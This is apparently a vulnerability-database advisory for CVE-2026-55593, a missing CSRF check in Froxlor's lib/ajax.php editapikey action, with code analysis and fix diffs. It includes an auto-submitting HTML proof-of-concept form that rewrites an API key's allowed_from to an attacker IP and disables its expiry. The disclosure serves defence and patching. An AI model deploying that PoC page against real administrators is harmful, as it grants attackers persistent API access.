{"id":"CVE-2026-55593","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55593","summary":"Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection","details":"## Summary\n\nThe Froxlor AJAX endpoint (`lib/ajax.php`) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (`lib/init.php`) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone `lib/ajax.php` endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the `allowed_from` whitelist or extending the `valid_until` expiration).\n\n---\n\n## Affected Component\n\n- **File:** `lib/ajax.php` — the AJAX endpoint entry point (bypasses `lib/init.php`)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:66-92` — `Ajax::handle()` (no CSRF check before routing)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:257-315` — `Ajax::editApiKey()` (writes to database without CSRF check)\n- **Version:** Froxlor 2.3.7 (likely all prior 2.x versions)\n\n---\n\n## Complete Call Chain: Entry Point → Vulnerable Code\n\n### Step 1: Entry Point — `lib/ajax.php` (standalone bootstrap, bypasses `lib/init.php`)\n\n```php\n// lib/ajax.php:26-47\nnamespace Froxlor;\n\nuse Froxlor\\Ajax\\Ajax;\n\nrequire_once dirname(__DIR__) . '/vendor/autoload.php';\nrequire_once dirname(__DIR__) . '/lib/userdata.inc.php';\nrequire_once dirname(__DIR__) . '/lib/functions.php';\nrequire_once dirname(__DIR__) . '/lib/tables.inc.php';\n\n// CRITICAL: This file does NOT include lib/init.php\n// Therefore: NO CSRF token is checked before processing the request\necho (new Ajax)->handle();\n```\n\n**Contrast with normal flow:** All admin/customer pages (e.g., `admin_customers.php`, `customer_domains.php`) do:\n```php\nconst AREA = 'admin';\nrequire __DIR__ . '/lib/init.php';  // <-- This enforces CSRF at lines 363-369\n```\n\n### Step 2: Ajax Constructor — Session Created, No CSRF Check\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:54-61\npublic function __construct()\n{\n    $this->action = Request::any('action');  // <-- User-controlled from GET/POST\n    $this->theme = Request::any('theme', 'Froxlor');\n\n    UI::sendHeaders();        // Starts session, sets security headers\n    UI::sendSslHeaders();     // HSTS headers\n    // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE\n}\n```\n\n### Step 3: Ajax::handle() — Session Validation Only, Routes to Action\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:66-92\npublic function handle()\n{\n    $this->userinfo = $this->getValidatedSession();  // Only checks: isset($_SESSION['userinfo'])\n    // MISSING: CSRF token validation before routing\n    // Comparison: init.php lines 363-369 WOULD check here:\n    //   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {\n    //       $current_token = Request::post('csrf_token', ...);\n    //       if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }\n    //   }\n\n    switch ($this->action) {\n        case 'editapikey':\n            return $this->editApiKey();   // <-- State-changing operation, no CSRF guard\n        case 'updatetablelisting':\n            return $this->updateTablelisting();  // <-- Also POST, also no CSRF\n        // ... other cases\n    }\n}\n```\n\n### Step 4: getValidatedSession() — Only Checks Session Exists\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:97-103\nprivate function getValidatedSession(): array\n{\n    if (CurrentUser::hasSession() == false) {\n        throw new Exception(\"No valid session\");\n    }\n    return CurrentUser::getData();\n    // hasSession() implementation (CurrentUser.php:47-50):\n    //   return !empty($_SESSION) && !empty($_SESSION['userinfo']);\n    // This ONLY verifies a session exists.\n    // It does NOT verify the request origin or CSRF token.\n}\n```\n\n### Step 5: editApiKey() — Database Mutation Without Origin Validation\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:257-315\nprivate function editApiKey()\n{\n    // All three parameters come from attacker-controlled POST body:\n    $keyid = Request::post('id', 0);                    // Source: $_POST['id']\n    $allowed_from = Request::post('allowed_from', \"\");  // Source: $_POST['allowed_from']\n    $valid_until = Request::post('valid_until', \"\");    // Source: $_POST['valid_until']\n\n    // ... IP format validation (not security-relevant for CSRF) ...\n\n    // SINK: Direct database mutation\n    $upd_stmt = Database::prepare(\"\n        UPDATE `api_keys` SET\n        `valid_until` = :vu, `allowed_from` = :af\n        WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid\n    \");\n    Database::pexecute($upd_stmt, [\n        'keyid' => $keyid,\n        'af' => $allowed_from,     // Attacker's IP written here\n        'vu' => $valid_until_db,   // -1 = never expires\n        'aid' => $this->userinfo['adminid'],\n        'cid' => $cid\n    ]);\n    return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);\n}\n```\n\n### Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage\n\n```javascript\n// templates/Froxlor/assets/js/jquery/apikeys.js:9-17\n// Even the legitimate frontend does NOT send a csrf_token:\n$.ajax({\n    url: \"lib/ajax.php?action=editapikey\",\n    type: \"POST\",\n    dataType: \"json\",\n    data: {\n        id: akid,\n        allowed_from: _this.val(),\n        valid_until: $('div[data-entry=\"' + akid + '\"] #valid_until').val()\n        // NOTE: No csrf_token field here — the backend doesn't require it\n    },\n    // ...\n});\n```\n\nThis confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.\n\n---\n\n## CSRF Protection Gap: Side-by-Side Comparison\n\n| Aspect | `lib/init.php` (Normal Pages) | `lib/ajax.php` (AJAX Endpoint) |\n|--------|------------------------------|-------------------------------|\n| **Includes init.php** | Yes (all admin_*.php, customer_*.php) | **No** — standalone bootstrap |\n| **Session validation** | ✅ `CurrentUser::hasSession()` | ✅ `CurrentUser::hasSession()` |\n| **CSRF token generation** | ✅ `Froxlor::genSessionId(20)` | ❌ Not generated |\n| **CSRF token check (POST/PUT/PATCH/DELETE)** | ✅ Lines 363-369 | **❌ Missing entirely** |\n| **Rate limiting** | ✅ `RateLimiter::run()` | ❌ Not called |\n| **Area enforcement** | ✅ Admin/Customer area check | ❌ Not enforced |\n\n---\n\n## Vulnerability Verification\n\n### Attack Path (Complete)\n\n```\n[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html\n\n    <form id=\"csrf\" action=\"https://froxlor.example.com/lib/ajax.php?action=editapikey\"\n          method=\"POST\">\n      <input type=\"hidden\" name=\"id\" value=\"1\">\n      <input type=\"hidden\" name=\"allowed_from\" value=\"ATTACKER_IP\">\n      <input type=\"hidden\" name=\"valid_until\" value=\"-1\">\n    </form>\n    <script>document.getElementById('csrf').submit();</script>\n\n        │\n        ▼\n[Victim] Froxlor administrator browses to https://attacker.com/csrf.html\n  - Victim has an active session at https://froxlor.example.com\n  - Session cookie: PHPSESSID=<valid>, SameSite=Lax\n        │\n        ▼\n[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey\n  - Cookie behavior depends on SameSite policy (see below)\n        │\n        ▼\n[Server: lib/ajax.php]\n  → require userdata.inc.php, functions.php, tables.inc.php\n  → (new Ajax)->handle()\n        │\n        ▼\n[Server: Ajax::__construct()]  (Ajax.php:54-61)\n  → $this->action = 'editapikey'  (from GET query string)\n  → UI::sendHeaders() → session_start()\n  → NO CSRF CHECK\n        │\n        ▼\n[Server: Ajax::handle()]  (Ajax.php:66-68)\n  → getValidatedSession() → CurrentUser::hasSession() → TRUE\n    (session cookie was sent with request)\n  → NO CSRF CHECK before routing\n        │\n        ▼\n[Server: Ajax::editApiKey()]  (Ajax.php:257-315)\n  → $keyid = 1 (from POST)\n  → $allowed_from = 'ATTACKER_IP' (from POST)\n  → $valid_until_db = -1 (from POST, parsed)\n  → UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1\n        │\n        ▼\n[Impact] API key #1 now allows connections from ATTACKER_IP, never expires\n```\n\n### SameSite=Lax Analysis\n\nFroxlor sets session cookie with `SameSite=Lax` (UI.php:124):\n\n```php\n// lib/Froxlor/UI/Panel/UI.php:118-125\nsession_set_cookie_params([\n    'path' => '/',\n    'domain' => self::getCookieHost(),\n    'secure' => self::requestIsHttps(),    // FALSE on HTTP deployments\n    'httponly' => true,\n    'samesite' => 'Lax'\n]);\nsession_start();\n```\n\n**Why SameSite=Lax is NOT a complete mitigation:**\n\n1. **HTTP deployments:** When `requestIsHttps()` returns false (plain HTTP), the `secure` flag is false. Many browsers (particularly older Safari and Firefox) require `Secure` for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.\n\n2. **Safari browser:** Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.\n\n3. **Same-site subdomain attacks:** If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.\n\n4. **Defense-in-depth failure:** CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).\n\n### Confirmed Vulnerable Actions in Ajax::handle()\n\nAll POST-based actions in the switch statement lack CSRF protection:\n\n| Action | Method | State Change | Risk |\n|--------|--------|-------------|------|\n| `editapikey` | POST | UPDATE `api_keys` SET allowed_from, valid_until | **HIGH** |\n| `updatetablelisting` | POST | UPDATE `panel_usercolumns` (user preferences) | Low |\n| `getConfigDetails` | POST | Read-only (config parsing) | None |\n\n---\n\n## Impact\n\n- **Confidentiality:** None — the attacker cannot directly read data through this CSRF vector\n- **Integrity:** Medium — API key properties (`allowed_from`, `valid_until`) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage).\n- **Availability:** Low — the attacker could set `valid_until` to a past timestamp, disabling the API key\n\n**Worst-case scenario:** An administrator-level API key has its `allowed_from` expanded to include the attacker's IP and its `valid_until` set to `-1` (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.\n\n---\n\n## Proof of Concept\n\n### PoC HTML File\n\n```html\n<!-- csrf_poc.html -->\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>CSRF PoC - Froxlor AJAX Endpoint</title>\n</head>\n<body>\n    <h1>Cross-Site Request Forgery Proof of Concept</h1>\n    <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>\n    <p>If you see this page, the form has auto-submitted.</p>\n\n    <!-- This form auto-submits to modify API key properties -->\n    <form id=\"csrf-form\"\n          action=\"http://froxlor.example.com/lib/ajax.php?action=editapikey\"\n          method=\"POST\">\n        <input type=\"hidden\" name=\"id\" value=\"1\">\n        <input type=\"hidden\" name=\"allowed_from\" value=\"10.99.99.99\">\n        <input type=\"hidden\" name=\"valid_until\" value=\"\">\n        <!-- empty valid_until = -1 (never expires) -->\n    </form>\n\n    <script>\n        // Auto-submit on page load\n        document.addEventListener('DOMContentLoaded', function() {\n            document.getElementById('csrf-form').submit();\n        });\n    </script>\n</body>\n</html>\n```\n\n### Reproduction Steps\n\n1. **Setup:**\n   - Deploy Froxlor 2.3.7 on a test server (e.g., `http://192.168.1.100/`)\n   - Create an administrator account and log in\n   - Create at least one API key (Settings → API Keys)\n\n2. **Prepare PoC:**\n   - Host the PoC HTML file on a different origin (e.g., `http://attacker.local/csrf_poc.html`)\n   - Note the Froxlor server is on `http://` (not HTTPS, common for internal deployments)\n\n3. **Execute:**\n   - Ensure the Froxlor administrator has an active session\n   - Open the PoC HTML file in the **same browser** (different tab)\n   - The form auto-submits\n\n4. **Verify:**\n   - Check the API key in the Froxlor admin panel\n   - The `allowed_from` field now contains `10.99.99.99`\n   - The `valid_until` field shows no expiration\n   - Or verify directly: `SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;`\n\n### Expected Result\n\nBefore attack:\n```\nid | allowed_from | valid_until\n1  |              | 1735689600\n```\n\nAfter attack:\n```\nid | allowed_from   | valid_until\n1  | 10.99.99.99    | -1\n```\n\n---\n\n## Root Cause\n\nThe `lib/ajax.php` endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include `lib/init.php`, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.\n\nArchitecturally, there are two security enforcement paths:\n1. **Normal pages:** `admin_*.php` → `require lib/init.php` → CSRF check ✅\n2. **AJAX endpoint:** `lib/ajax.php` → `new Ajax()->handle()` → CSRF check ❌\n\nThe `Ajax` class performs its own session validation (`getValidatedSession()`) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (`apikeys.js`) also does not send a CSRF token because the backend does not require one.\n\n---\n\n## Fix Recommendation\n\n### Option A (Recommended): Route AJAX Through init.php\n\nRefactor `lib/ajax.php` to use the standard bootstrap, ensuring all security controls apply uniformly:\n\n```php\n// lib/ajax.php — Refactored\nconst AREA = 'ajax';\nrequire __DIR__ . '/init.php';\n\nuse Froxlor\\Ajax\\Ajax;\n\ntry {\n    echo (new Ajax)->handle();\n} catch (Exception $e) {\n    header(\"Content-Type: application/json\");\n    echo \\Froxlor\\Api\\Response::jsonErrorResponse($e->getMessage(), 500);\n}\n```\n\n**Pros:** All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication.\n**Cons:** Requires frontend changes to include CSRF token in AJAX requests.\n\n### Option B (Minimal): Add CSRF Check to Ajax Class\n\nAdd CSRF token validation directly in the `Ajax` class:\n\n```diff\n// lib/Froxlor/Ajax/Ajax.php\n\npublic function handle()\n{\n    $this->userinfo = $this->getValidatedSession();\n\n+   // CSRF Protection — mirror init.php:363-369\n+   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {\n+       $token_from_request = Request::post('csrf_token',\n+           $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null);\n+       $stored_token = $this->userinfo['csrf_token'] ?? '';\n+       if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {\n+           return $this->errorResponse('CSRF validation failed', 403);\n+       }\n+   }\n\n    switch ($this->action) {\n        // ... existing cases unchanged\n    }\n}\n```\n\n**Frontend changes required (for both options):**\n\n```diff\n// templates/Froxlor/assets/js/jquery/apikeys.js\n$.ajax({\n    url: \"lib/ajax.php?action=editapikey\",\n    type: \"POST\",\n    dataType: \"json\",\n    data: {\n        id: akid,\n        allowed_from: _this.val(),\n        valid_until: $('div[data-entry=\"' + akid + '\"] #valid_until').val(),\n+       csrf_token: $('meta[name=\"csrf-token\"]').attr('content')\n    },\n    // ...\n});\n```\n\n### CSRF Token Available in Twig Templates\n\nThe CSRF token is already available as a Twig global variable (`{{ csrf_token }}`) set in `init.php:361`. Templates can expose it via:\n\n```html\n<meta name=\"csrf-token\" content=\"{{ csrf_token }}\">\n```\n\n---","published":"2026-08-18T20:48:30Z","modified":"2026-08-18T21:00:07.818946218Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"froxlor/froxlor","fixedVersion":"2.3.8"}],"fix":{"url":"https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e","label":"froxlor/froxlor@5f540fe"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-xpr4-8vp6-c87j"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.8"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T21:00:07.818946218Z"}}